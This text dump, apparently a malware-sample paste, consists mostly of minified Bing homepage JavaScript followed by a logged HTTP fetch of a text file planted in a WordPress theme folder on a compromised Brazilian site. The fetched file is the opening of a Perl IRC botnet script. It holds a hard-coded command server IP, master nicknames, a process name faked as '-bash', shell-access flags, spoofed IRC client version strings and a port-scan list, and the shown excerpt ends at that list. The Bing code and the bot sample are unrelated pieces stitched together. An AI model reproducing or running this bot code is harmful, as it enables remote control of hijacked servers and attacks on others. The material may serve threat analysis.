f=1085,u=1366,e=16,r="px",i=_ge("sw_footL"),t=_ge("hp_container"),n;i&&t&&(n=i.offsetWidth+e,n>u&&(n=u),n>f&&(t.style.minWidth=n+r,sj_b.clientWidth>sj_b.clientHeight&&(!_w.navigator.userAgent.match(/iPad/)||(t.style.minHeight=parseInt(n*_d.body.offsetHeight/_d.body.offsetWidth)+r))))}();sa_config={"u":"%2fAS%2fSuggestions%3fpt%3dpage.home%26mkt%3den-US%26qry%3d","mkt":"en-US","f":"sb_form","i":"sb_form_q","c":"sw_as","sid":"6B3509BC90BD4153AB4D20E04AD6AD4B","asf":1,"ePN":1,"smg":1,"t":1,"ol":1,"eHS":1,"eHC":1,"v":1,"d":100,"SCT":1500,"SBW":811};sa_loc={"PE":"See Bing results for"};;sa_loader=function(){_w.rms.js({'rms:answers:AutoSuggest:AutoSugPreviewBlue':'\/rms\/AutoSugPreviewBlue\/jc\/91a741c5\/2dcb53cd.js?bu=rms+answers+AutoSuggest+Modules%24Service%2cApi%2cDataProviders%24GenericDataProvider%2cAutoSuggestCanvas_r%2cAutoSuggestLayoutBlue_r%2cAutoSuggestSearchForm_r%2cAutoSuggestSpelling_r%2cAutoSuggestHighConfGhosting_r%2cPreviewPane%24PreviewPaneHybrid%2cAutoSuggestInit_r&y',d:1});};;var sa_eL=!1,sj_evas,sj_etas;if(function(){function e(t,i,r,f){t&&sj_ue(t,i,e),sa_eL=sa_eL||n.eAI?r&&f.keyCode!==27:r,u||(u=!0,sa_loader())}function r(n,t,i){sj_be(n,t,function(r){e(n,t,i,sj_ev(r))})}var f=_ge("sa_qs"),n,t,i,u;f.value="bs",n=sa_config,t=_ge(n.i),t.setAttribute("autocomplete","off"),i=_ge(n.c),i||(i=sj_ce("div"),i.id=n.c,f.parentNode.appendChild(i)),u=!1,r(t,"click",!0),r(t,"keydown",!0),n.eAI&&r(t,"keyup",!0),n.ol&&r(_w,"load")}(),sj_evas=sj_ev,sj_etas=sj_et,sa_config.ic&&sb_ie){function getIframeWindow(){return _ge("sa_con").contentWindow}sj_evas=function(){return getIframeWindow().event},sj_etas=function(){var n=getIframeWindow().event;return n?n.srcElement:null}};var _scopeRef = new Array();_scopeUrls['images']='/images/search?q=&amp;FORM=BILH1';_scopeRef['images']='0';_scopeUrls['video']='/videos/search?q=&amp;FORM=BVLH1';_scopeRef['video']='1';_scopeUrls['local']='/maps/default.aspx?q=&amp;mkt=en&amp;FORM=BYLH1';_scopeRef['local']='2';_scopeUrls['news']='/news/search?q=&amp;FORM=BNLH1';_scopeRef['news']='3';_scopeUrls['seeall']='/explore?q=&amp;FORM=BXLH1';_scopeRef['seeall']='4';_scopeUrls['history']='/profile/history?FORM=ZZLH1';_scopeRef['history']='5';var _scpIID = 'SERP.1000';;var Identity = Identity || {};(function(i){i.wlImgSm = "https://cid-{0}.users.storage.live.com/users/0x{0}/myprofile/expressionprofile/profilephoto:UserTileStatic/p?ck=1\u0026ex=720\u0026fofoff=1\u0026sid=6B3509BC90BD4153AB4D20E04AD6AD4B";i.wlImgLg = "https://cid-{0}.users.storage.live.com/users/0x{0}/myprofile/expressionprofile/profilephoto:UserTileMedium/p?ck=1\u0026ex=720\u0026fofoff=1\u0026sid=6B3509BC90BD4153AB4D20E04AD6AD4B";i.popupLoginUrls ={"WindowsLiveId":"https://login.live.com/login.srf?wa=wsignin1.0\u0026rpsnv=11\u0026ct=1422913926\u0026rver=6.0.5286.0\u0026wp=MBI\u0026wreply=https:%2F%2fssl.bing.com%2Fsecure%2FPassport.aspx%3Fpopup%3D1\u0026lc=1033\u0026id=264960","Facebook":"/fd/auth/signin?action=interactive\u0026provider=facebook\u0026return_url=http%3a%2f%2fwww.bing.com%2fIdentity%2fFBPopup%3fsuccess%3d1\u0026cancel_url=http%3a%2f%2fwww.bing.com%2fIdentity%2fFBPopup%3fsuccess%3d0\u0026input=popup\u0026sig=6B3509BC90BD4153AB4D20E04AD6AD4B\u0026perms=read_stream,user_photos,friends_photos"};})(Identity);;var bepcfg = bepcfg || {};;bepcfg.wb = true ? '1' : '0';;_w.g_vidOn && !_w.g_hasVid ? sj_jb("HPImgVidViewer_c") : sj_jb("homepageImgViewer_c");;var g_prefetch ={'Im': {url:'\/az\/hprichbg\/rb\/CapeTownWaves_EN-US9314088076_1920x1080.jpg', hash:'077'}};var hpl={ssd:'20150202_0800'};;var fbpkgiid = fbpkgiid || {};fbpkgiid.page = 'SERP.5091';;var Feedback;(function(n){(function(t){function i(t,r,u){if(typeof n=="undefined"||typeof jQuery=="undefined"){setTimeout(function(){i(t,r,u)},50);return}n.PackageLoad.Load(t,r,u)}function r(n,t,r,u,f){var e=_ge(t);f=typeof f=="undefined"?!1:f,e!==null&&sj_be(e,"click",function(o){if(f&&e.classList){if(e.classList.contains("clicked"))return!1;e.classList.add("clicked")}LoadJQuery(),sj_pd(o),sj_sp(o),u=typeof u=="undefined"?!1:u,u&&scrollTo(0,0),r=typeof r=="undefined"?!0:r,i(n,r,t)})}t.InitializeFeedback=r})(n.Bootstrap||(n.Bootstrap={}));var t=n.Bootstrap})(Feedback||(Feedback={})),function(n){(function(n){"use strict";function f(){return _d.documentElement.outerHTML}function h(n,i,r){var f;i=typeof i=="undefined"?!0:i,r=typeof r=="undefined"?"":r;for(f in n)i?n.hasOwnProperty(f)&&typeof u[f]=="undefined"&&t(f,r):t(f,r)}function t(n,t){var h,y="",a=_G.IG,v=typeof _G.V=="undefined"?_G.P:_G.V,l="/feedback/",p,o,f,c=r();o=l+n+"?ig="+a+"&p="+v,typeof fbpkgiid!="undefined"&&typeof fbpkgiid[n]!="undefined"&&(o+="&iid="+fbpkgiid[n]),(f=location.href.match(/[?&]testhooks=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),(f=location.href.match(/[?&]hoseassistant=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),(f=location.href.match(/[?&]hose=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),(f=location.href.match(/[?&]theme=[^?&#]*/i))&&f[0]&&(o+="&"+f[0].substring(1)),typeof t!="undefined"&&t!==""&&(o+="&fid="+encodeURIComponent(t)),c.length==0?$.ajax({url:o,success:i}):(h=e("GET",o,!0),h.onreadystatechange=function(){return s(h)},h.send()),u[n]=!0}function s(n){_ge("sb_feedback").removeAttribute("clicked"),n.readyState==4&&n.status==200&&i(n.response)}function i(n){$("body").append(n)}function o(n){var t=sj_ce("div","");return t.innerHTML=n,t.childNodes.length===0?"":t.childNodes[0].nodeValue}function r(){for(var t=_d.getElementsByTagName("meta"),i,n=0;n<t.length;n++)if(t[n].name==="bing-headers")try{i=JSON.parse(t[n].getAttribute("value"))}catch(r){}return i||[]}function e(n,t,i){var e=sj_gx(),f,u;e.open(n,t,i),f=r();for(u in f)e.setRequestHeader(u,o(f[u]));return e}var u={};n.originalHTML=f(),n.GetHTML=f,n.Load=h})(n.PackageLoad||(n.PackageLoad={}));var t=n.PackageLoad}(Feedback||(Feedback={}));_w.rms.js({'A:0':0},{'A:rms:answers:Identity:BlueIdentityDropdownBootstrap':'\/rms\/rms%20answers%20Identity%20Blue$BlueIdentityDropdownBootStrap\/jc\/afd2a963\/04592351.js?y'},{'A:rms:answers:Identity:BlueIdentityHeader':'\/rms\/rms%20answers%20Identity%20Blue$BlueIdentityHeader\/jc\/5ea68b6f\/b5d667f1.js?y'},{'A:1':1},{'A:rms:answers:Identity:SnrWindowsLiveConnectBootstrap':'\/rms\/rms%20answers%20Identity%20SnrWindowsLiveConnectBootstrap\/jc\/7e10556a\/fd0be0a1.js?y'},{'A:2':2},{'A:rms:answers:Rewards:RewardsNcHeaderBootstrap':'\/rms\/rms%20answers%20Rewards%20RewardsNcHeaderBootstrapAjax\/jc\/080a6274\/d4262ac3.js?y'},{'A:rms:answers:Rewards:ReportActivityBootstrap':'\/rms\/rms%20answers%20Rewards%20ReportActivityBootstrap\/jc\/9bdba936\/c0061037.js?y'},{'A:3':3},{'A:rms:answers:BoxModel:Framework':'\/rms\/Framework\/jc\/a68c39ce\/23d0202d.js?bu=rms+answers+BoxModel+config%2crules%24rulesHP%2ccore%2cmodules%24scroll%2cmodules%24resize%2cmodules%24visibility%2cmodules%24mutation%2cmodules%24validation%2cmodules%24network&y'});;
  86. //]]></script><div id="aRmsDefer"><script type="text/rms">//<![CDATA[
  87. (function(n,t,i){function rt(){u=_ge("sc_mdc"),b=_ge("crs_scroll"),r=_ge("crs_pane"),l=_ge("sc_mdCrs"),u&&(s=Number(u.getAttribute("data-ajaxthrs")),o=Number(u.getAttribute("data-ajaxlim")),e=l.getAttribute("data-filters"),f=Number(u.getAttribute("data-initcnt")),h=Number(u.getAttribute("data-ajaxcnt")),a=u.getAttribute("data-ajaxiid"),isNaN(s)||isNaN(o)||isNaN(f)||isNaN(h)||n(ut,nt,1))}function w(){var n=0,t;if(r&&(n=parseInt(r.style.width),isNaN(n)&&r.children))for(t in r.children)n+=t.clientWidth+4;return n}function d(){var i=p*s,t=w(),n=b.scrollLeft;return i>=t-n&&!y&&!c&&!v}function g(n){var s=n&&n.children&&n.children.length>0&&n.children[0],b=s&&s.children[0],t=b&&b.children,l,c,u,d,g,k,a,h;if(!t||t.length===0){y=!0;return}for(l=t.length,c=_d&&_d.createDocumentFragment(),u=0;u<l;u++)d=t[u].cloneNode(!0),c.appendChild(d);r.appendChild(c),e=s.getAttribute("data-filters"),f+=l,v=r.children.length>=o,g=w(),r.style.width=g+p*t.length+"px",k=s.getAttribute("data-credits"),a=_ge("sc_imagecreditslink"),a.title+=k,h=_ge(_G&&_G.RTL?"crs_btLeft":"crs_btRight"),h&&i&&i(h,"crs_bt_disabled")}function k(){var i=sj_gx(),n=hp_pushparams([]),r;_w._G&&_w._G.IG&&n.push("IG="+_G.IG),n.push("IID=SERP."+a),n.push("efirst="+f),n.push("ecount="+h),n.push("escenario="+it),n.push("filters="+encodeURIComponent(e)),r="/hpm/items?"+n.join("&"),i.open("GET",r),i.onreadystatechange=function(){if(i.readyState==4&&i.status==200){var n=sj_ce("div"),r=i.responseText;n.innerHTML=r,g(n),_w.location.href.indexOf("https")===-1&&t("Load","HP","HpmAjaxLoad",!0),c=!1}},i.send()}function nt(){d()&&(c=!0,k())}var tt="EVT_CRS_SETUPDONE",ut="EVT_CRS_SCROLLDONE",p=154,it="CarouselList",c=!1,y=!1,v=!1,u,b,r,l,s,o,e,f,h,a;n&&n(tt,rt,1)})(sj_evt&&sj_evt.bind,_w.Log&&_w.Log.Log,hp_removeclass);(function(n,t){function r(n){return Boolean(n.toLowerCase().indexOf("optimizely")!=-1)}function i(){var h=_d.cookie,o,s,i,n,f,e;if(h){for(o=h.split(";"),s=!1,i=0;i<o.length;i++)n=o[i],n&&r(n)&&(f=n.split("="),e=f&&f[0],e&&(_d.cookie=e+u,s=!0));t&&s&&_w.location.protocol.indexOf("https")==-1&&t("Success","HP","OptimizelyCleaned",!0)}}var u="=; expires=Thu, 01 Jan 1970 00:00:01 GMT;";n!=null&&n("onRBComplete",i,1)})(sj_evt&&sj_evt.bind,_w.Log&&_w.Log.Log);var Bnp=Bnp||{};Bnp.Global=Bnp.Global||{},Bnp.Version="1",Bnp.Partner=Bnp.Partner||function(){function u(n){sj_evt.fire("onBnpRender",n)}function n(t){var e=e||{};if(typeof e.stringify=="function")return e.stringify(t);var o=typeof t,r=t&&t.constructor==Array,f=[],u,i;if(o!="object"||t==null)return o=="string"?'"'+t+'"':String(t);for(u in t)i=t[u],i&&i.constructor!=Function&&(r?f.push(n(i)):f.push('"'+u+'":'+n(i)));return(r?"[":"{")+String(f)+(r?"]":"}")}function h(n){for(var u=[],r=n.getElementsByTagName("script"),t,i;r.length;)t=r[0],i=sj_ce("script"),t.src?i.src=t.src:t.text&&(i.text=t.text),i.type=t.type,t.parentNode.removeChild(t),u.push(i);return u}function c(n){for(var t=0;t<n.length;t++)r(n[t])}function r(n){t=t||_d.getElementsByTagName("head")[0],t.appendChild(n)}function o(n){for(var t,i=0;i<n.length;i++)t=sj_ce("style"),t.type="text/css",t.textContent!==undefined?t.textContent=n[i]:t.styleSheet.cssText=n[i],r(t)}function e(){sj_evt.fire("onPopTR")}var i="dhplink",t,s=2500,f=function(n,t,i){this.PartnerId=n,this.IID=t||"",this.Attributes=i||{}};return f.prototype.Submit=function(){function a(){t.abort(),u("Timeout"),sj_evt&&sj_evt.fire(i)}var r=this.Attributes;this.Attributes.RawRequestURL=r.RawRequestURL||Bnp.Global.RawRequestURL,this.Attributes.Referer=r.Referer||Bnp.Global.Referer,this.Attributes.RawQuery=r.RawQuery||Bnp.Global.RawQuery;var t=sj_gx(),f=_w.location.search.substr(1),y=/(^|&)bnptesthooks=1(&|$)/i,p=y.exec(f),v="/notifications/render?bnptrigger="+encodeURIComponent(n(this))+(_G?"&IG="+_G.IG:"")+(this.IID?"&IID="+this.IID:"")+(this.Debug?"&"+this.Debug.join("&"):p?"&"+f:""),l=sb_st(a,s);t.open("GET",v,!0),t.onreadystatechange=function(){var r,f;if(t.readyState==4&&t.status==200){if(sb_ct(l),r=t.responseText,r.length==0){u("None"),sj_evt&&sj_evt.fire(i);return}r.indexOf("cmd:setdefaulthomepage")==-1&&sj_evt&&sj_evt.fire(i),e();var n=sj_ce("div"),s=[],a=r.replace(/<style\s+[^>]+>([^<]*)<\/style>/g,function(n,t){return s.push(t),""});n.innerHTML="<div>dummy<\/div>"+a,f=h(n),n.removeChild(n.firstChild),sj_b.appendChild(n),o(s),c(f)}},t.send()},{Request:f}}(),function(){Bnp.PartnerLoaded||(sj_evt.fire("OnBnpLoaded"),Bnp.PartnerLoaded=!0)}();(function(n){function d(){if(i){var n=i.getAttribute("data-officemenuroot")||"office";t=_ge(n),t&&(i.style.left=t.offsetLeft+r,i.style.display=s,i.firstChild.style.display=s,t.pop=i,k(t),sj_be(t,e,o,!1),f&&sj_be(_d,g,function(n){(n.pointerType==rt||n.pointerType==2)&&t.pop.style.visibility==p&&u(t,n)},!1))}}function o(){hp_hasclass(i,h)||(i.className+=" "+h),sj_ue(t,e,o,!1)}function l(n){var e;a(n,!1),b();var f=n.pop,o=sj_go(n,c),u,s=_ge(ut),i=_d.body.clientWidth-s.offsetWidth,t=n.firstChild&&n.firstChild.offsetLeft-n.offsetLeft||0;t<0&&(t=n.firstChild.offsetLeft,i<0&&(i=0)),it?(t===0&&n.firstChild&&(t=n.offsetWidth-n.firstChild.offsetWidth),e=sj_go(_ge("sc_hdu"),c),u=o-e,f.style.left=u+n.offsetWidth-f.offsetWidth-t+r):(u=o-(i>0?i/2:0),f.style.left=u+t+r),sj_evt.fire("onSPHover","scPopOffice"),sb_i6?y(n):n.delayfadeInInt=sb_st(sj_wf(y,n,!0),v)}function u(n,t){var i=sj_mo(t);sj_we(i,n)||(a(n,!0),n.delayfadeOutInt=sb_st(sj_wf(w,n),v))}function b(){for(var n,t=0;t<6;t++)n=_ge("scpt"+t),n&&n.pop&&w(n)}function w(n){n.pop.style.visibility=et}function y(n){n.pop.style.visibility=p}function a(n,t){n.delayfadeInInt&&t?(sb_ct(n.delayfadeInInt),n.delayfadeInInt=null):n.delayfadeOutInt&&!t&&(sb_ct(n.delayfadeOutInt),n.delayfadeOutInt=null)}function k(n){n&&n.pop&&(sj_be(n,e,function(t){l(n,t)},!1),sj_be(n,tt,function(t){u(n,t)},!1),sb_ie||(sj_be(n,nt,function(n){l(this,n)},!1),sj_be(n,ft,function(n){u(this,n)},!1)))}var r="px",f=!sb_i8l&&_w.navigator.msPointerEnabled,e=f?"MSPointerOver":"mouseover",tt=f?"MSPointerOut":"mouseout",v=200,it=_G&&_G.RTL===!0,g="MSPointerDown",nt="touchstart",ft="touchleave",p="visible",et="hidden",s="block",rt="touch",c="Left",ut="hp_container",h="oms",i=_ge("off_menu_cont"),t;n!=null&&n("onRBComplete",d,1)})(sj_evt&&sj_evt.bind);
  88. //]]></script><script type="text/rms">//<![CDATA[
  89. var wlc=function(n,t,i){var u,e,f,r;n&&Identity&&(u=Identity.popupLoginUrls)&&(e=u.WindowsLiveId)&&(f=Identity.wlProfile)&&f()==null&&(r=_d.createElement("iframe"),r.style.display="none",r.src=e+"&checkda=1",_d.body.appendChild(r),i&&t&&t("WLS","TS",i,0,"/"))};
  90. //]]></script><script type="text/rms">//<![CDATA[
  91. var sj_appHTML=function(n,t){var f,s,e,i,u,o,h;if(t){var l="innerHTML",c="script",v="appendChild",w="length",p="src",y="type",a=sj_ce,r=a("div");for(r[l]="<br>"+t,f=r.childNodes,r.removeChild(f[0]),s=r.getElementsByTagName(c),e=0;e<s[w];e++)i=a(c),u=s[e],i[y]=u[y],o=u.getAttribute(p),o?i.setAttribute(p,o):(i.text=u[l],i.setAttribute("data-bing-script","1")),r.replaceChild(i,u);for(h=_d.createDocumentFragment();f[w];)h[v](f[0]);n[v](h)}};var sj_ajax=function(n,t){function s(){i[e]=h,i.abort&&i.abort()}function f(n,t){typeof n=="function"&&n(t,{request:i,appendTo:function(n){i&&sj_appHTML(n,i.responseText)}})}var r,i=sj_gx(),e="onreadystatechange",o,u=null,l=sb_st,c=sb_ct,h=function(){};if(!n||!i){f(r,!1);return}t&&(r=t.callback,o=t.timeout),i.open("get",n,!0),i[e]=function(){if(i.readyState===4){var n=!1;u!==null&&c(u),i.status===200&&(n=!0,i[e]=h),f(r,n)}},sj_evt.bind("ajax.unload",s),i.send(),o>0&&(u=l(function(){s(),f(r,!1)},o))};
  92. //]]></script><script type="text/rms">//<![CDATA[
  93. (function(n,t,i){function ai(){oi(),si(),hi();var n=sj_cook&&sj_cook.get("_UR","MC");n&&n!="0"&&h&&(h.style.display=p)}function oi(){hp_defined(_w.PointerEvent)?(r="pointermove",c="pointerdown"):hp_defined(_w.MSPointerEvent)?(r="MSPointerMove",c="MSPointerDown"):(r="mousemove",c="mousedown")}function si(){n!=null&&(n(a,function(n){kt(),n&&n.length>1&&ut(!1,n[1])},1),n(v,function(n){yt(),n&&n.length>1&&ut(!0,n[1])},1),n(ui,function(){yt()}))}function hi(){hp_defined(r)&&sj_be(tt,r,bt,!1),hp_defined(c)&&sj_be(tt,c,ft,!1),li&&sj_be(tt,et,ft,!1),f&&sj_be(f,k,wt,!1),e&&(sj_be(e,ii,function(n){t(a,n.type)},!0),sj_be(u,ri,function(n){t(v,n.type)},!0),sj_be(e,k,function(n){(n=n||_w.event,n.ctrlKey||n.shiftKey||n.metaKey||n.altKey)||sj_pd(n)},!1))}function ut(n,t){i&&_w.location.protocol.indexOf("https")<0&&i(n?"Hide":"Show","HP","MuseumCard",!1,"Meta",t,"Time",sb_gt())}function wt(){if(w&&o&&o.hsh&&hp_defined(hp_pushparams)){var t="/hpwp/"+o.hsh,n=hp_pushparams([]);n.length&&(t+="?"+n.join("&")),_w.location.href=t}}function bt(n){sb_i8l&&event?it(event.clientX,event.clientY,n):it(n.pageX,n.pageY,n)}function ft(n){var t=n&&(n.changedTouches&&n.changedTouches[0]||n);t&&it(t.pageX,t.pageY,n)}function it(n,i,f){var o=f.type,b=_ge("sh_rdiv"),k=_ge("sh_igl"),h,w,s,p;if(!ot||o!=r||f.pointerType==pt||f.pointerType==4){if(h=g(e),h.valid&&d(h,n,i)){if(o==r||o==et||ot&&o==c&&f.pointerType!=pt&&f.pointerType!=4){if(o==r){l.style.display!=y&&t(a,o);return}sj_pd(f),sj_sp(f),l.style.display!=y?t(a,o):t(v,o);return}w=f.ctrlKey||f.shiftKey||f.metaKey||f.altKey,!w&&u&&u.href!=nt&&hp_defined(f.button)&&f.button==0&&(_w.location.href=u.href)}if(s=g(b),s.left=sj_go(k,at),s.valid&&d(s,n,i)&&l.style.display!=y&&o==r){t(a,o);return}p=g(l),p.valid&&!d(p,n,i)?o==r?(sb_ct(rt),rt=sb_st(function(){t(v,o)},ci)):t(v,o):o==r&&sb_ct(rt)}}function d(n,t,i){return t>=n.left&&t<=n.right&&i<=n.bottom&&i>=n.top?!0:!1}function g(n){var i,u,t,r;return i=sj_go(n,at),u=i+n.clientWidth,t=sj_go(n,fi),r=t+n.clientHeight,{left:i,right:u,top:t,bottom:r,valid:!(i==0&&u==0&&t==0&&r==0)}}function kt(){if(vt.style.display=y,l.style.display=y,dt(),h&&h.style.display!=p){var n=sj_cook&&sj_cook.get("_UR","MC");n&&n=="1"||sj_cook.set("_UR","MC","1")}}function yt(){l.style.display=p,vt.style.display=p,s&&hp_removeclass(s,st)}function dt(){var e="b_hide",u="b_idOpen",o=_ge("bepfm"),f=_ge("bepfo"),t=_ge("id_h"),i,n,r;for(f&&o&&hp_addclass(f,e),t&&hp_hasclass(t,u)&&hp_removeclass(t,u),s.fireEvent?s.fireEvent("on"+k):(i=_d.createEvent("Events"),i.initEvent(k,!0,!1),s.dispatchEvent(i)),s&&hp_addclass(s,st),n=1;n<=4;n++)r=_ge("sc_hs"+n),r&&(r.style.visibility=ti)}function gt(n){var t,i;!n||n.length<=1||(t=n[1],o=t,ni(t),f&&(t.wp&&!t.vid?(w=!0,hp_removeclass(f,ht)):(w=!1,hp_addclass(f,ht),h&&(h.style.display=p)),i=f.getAttribute(w?"data-msg":"data-dismsg"),f.setAttribute(ei,i),f.firstChild.innerHTML=i))}function ni(){var t=o.vid?o.vid.caption:o.copyright,f=o.copyrightlink,i,r,n;f==nt?(hp_addclass(u,b),e&&(e.style.cursor="default")):(hp_removeclass(u,b),e&&(e.style.cursor="pointer")),u&&(u.href=f,f==nt?hp_addclass(u,b):hp_removeclass(u,b)),n=t.indexOf("©"),n!=-1&&(i=t.substr(0,n-2),r=t.substr(n,t.length-n-1)),i!=null&&ct&&(ct.innerHTML=hp_trimstr(i)),r!=null&&lt&&(lt.innerHTML=hp_trimstr(r))}var e=_ge("sh_cp"),vt=_ge("musCard"),l=_ge("musCardContent"),u=_ge("musCardImageLink"),ct=_ge("musCardImageTitle"),lt=_ge("musCardCopyright"),f=_ge("DownloadHPImage"),s=_ge("hp_container"),tt=_ge("hp_table"),h=_ge("hpw-desc"),ht="disabled",ot=hp_defined(_w.MSPointerEvent)||hp_defined(_w.PointerEvent),ui="hpsbact",st="hot_disable",a="onCardShow",v="onCardHide",at="Left",fi="Top",pt="mouse",k="click",ei="title",p="none",ti="hidden",y="block",ii="focus",ri="blur",w,o,ci=750,rt,r,c,et="touchstart",li="ontouchstart"in _w,nt="javascript:void(0)",b="empty";n!=null&&(n("onRBComplete",ai,1),n("updateHpImg",gt,1))})(sj_evt&&sj_evt.bind,sj_evt&&sj_evt.fire,_w.Log&&_w.Log.Log);(function(n,t,i){function g(){o=_ge("musCard")?[_ge("ShareFB"),_ge("ShareTwitter")]:[_ge("hp_fb_share"),_ge("hp_twitter_share")],a(),r&&(sj_be(r,f,sj_wf(y,r)),r.style.display=s)}function a(){for(var i=o.length,n,t=0;t<i;t++)n=o[t],n&&sj_be(n,f,sj_wf(v,n))}function v(n){var r=n.getAttribute(b),t=n.getAttribute(k);nt&&(t+="&ssd="+i.ssd),window.open(r+encodeURIComponent(t),"_blank","toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=550, height=420")}function y(){u.style.display!=s?w():e()}function h(n){if(n){var t=sj_et(n),f=sj_we(t,r,c),i=sj_we(t,u,c);f||i||u.style.display!=s||e()}}function w(){n(l,e),sj_be(_d,f,h),u.style.display=s}function e(){t(l,e),sj_ue(_d,f,h),u.style.display=p}var u=_ge("hp_share_menu"),r=_ge("hp_share"),tt=_ge("musCard"),d=_ge("hp_share_options"),c=_ge("hp_container"),s="block",p="none",f="click",l="hpsbact",k="data-shareurl",b="data-baseurl",o,nt=i&&hp_defined(i.ssd)&&i.ssd;(r&&u||tt)&&d&&n!=null&&n("onRBComplete",g,1)})(sj_evt&&sj_evt.bind,sj_evt&&sj_evt.unbind,hp_defined(hpl)&&hpl);LoadJQuery=function(){_w.rms.js({'rms:answers:Feedback:FeedbackJQuery':'\/rms\/rms%20answers%20Feedback%20CustomJQuery.min\/jc\/370c6a3e\/ca6dc37d.js?y',d:1});};Feedback.Bootstrap.InitializeFeedback({page:true},"sb_feedback",1,0,0);;
  94. //]]></script></div></body><script type="text/javascript">//<![CDATA[
  95. _G.HT=new Date;
  96. //]]></script></html>
  97.  
  98. *****
  99.  
  100. content of  hxxp://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt
  101.  
  102.  
  103. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  104. ===========================================================================================
  105. http://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt (48.06%)
  106. ===========================================================================================
  107. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  108.  
  109. GET /website/wp-content/themes/radio/includes/new.txt HTTP/1.1
  110. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  111. Accept-Language: en-us,en;q=0.5
  112. Connection: keep-alive
  113. Keep-Alive: 115
  114. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  115. DNT: 1
  116. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0
  117. Host: escoladeradio.com.br
  118.  
  119.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
  120.  
  121. HTTP/1.1 200 OK
  122. Date: Mon, 02 Feb 2015 21:48:33 GMT
  123. Server: Apache/2.4.3 (Unix) OpenSSL/0.9.8e-fips-rhel5 mod_fcgid/2.3.7
  124. Last-Modified: Sun, 04 Jan 2015 19:05:58 GMT
  125. ETag: "6b2b-50bd843917180"
  126. Accept-Ranges: bytes
  127. Content-Length: 27435
  128. Keep-Alive: timeout=5, max=100
  129. Connection: Keep-Alive
  130. Content-Type: text/plain
  131.  
  132.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        
  133. -------------------------------------------------------------------------------------------
  134.  
  135. #!/usr/bin/perl
  136. my @mast3rs = ("TNT","STMIK");
  137.  
  138. my @hostauth = ("SEKIP");
  139. my @admchan=("#apache");
  140.  
  141. my @server = ("198.154.63.131");
  142. $servidor= $server[rand scalar @server] unless $servidor;
  143.  
  144.  
  145. my $xeqt = "!";
  146. my $homedir = "/tmp";
  147. my $shellaccess = 1;
  148. my $xstats = 1;
  149. my $pacotes = 1;
  150. my $linas_max = 5;
  151. my $sleep = 6;
  152. my $portime = 4;
  153.  
  154. my @fakeps = ("-bash");
  155.  
  156. my @nickname = ("TNT");
  157.  
  158. my @xident = ("TNT");
  159. my @xname = (`uname -a`);
  160.  
  161. #################
  162. # Random Ports
  163. #################
  164. my @rports = ("80");
  165.  
  166. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
  167.    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
  168.    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
  169.    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
  170.    "\001Snak for Macintosh 4.9.8 English\001",
  171.    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
  172.    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
  173.    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
  174.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
  175.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
  176.    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
  177.    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
  178.    "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
  179.    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
  180.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
  181.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
  182.    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
  183.    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
  184.    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
  185.    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
  186.    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
  187.    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
  188.    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1Â?9] : Keep it to yourself!\001",
  189.    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
  190.    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
  191.    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
  192.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
  193.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
  194.  
  195. # Default quick scan ports
  196. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
  197.  
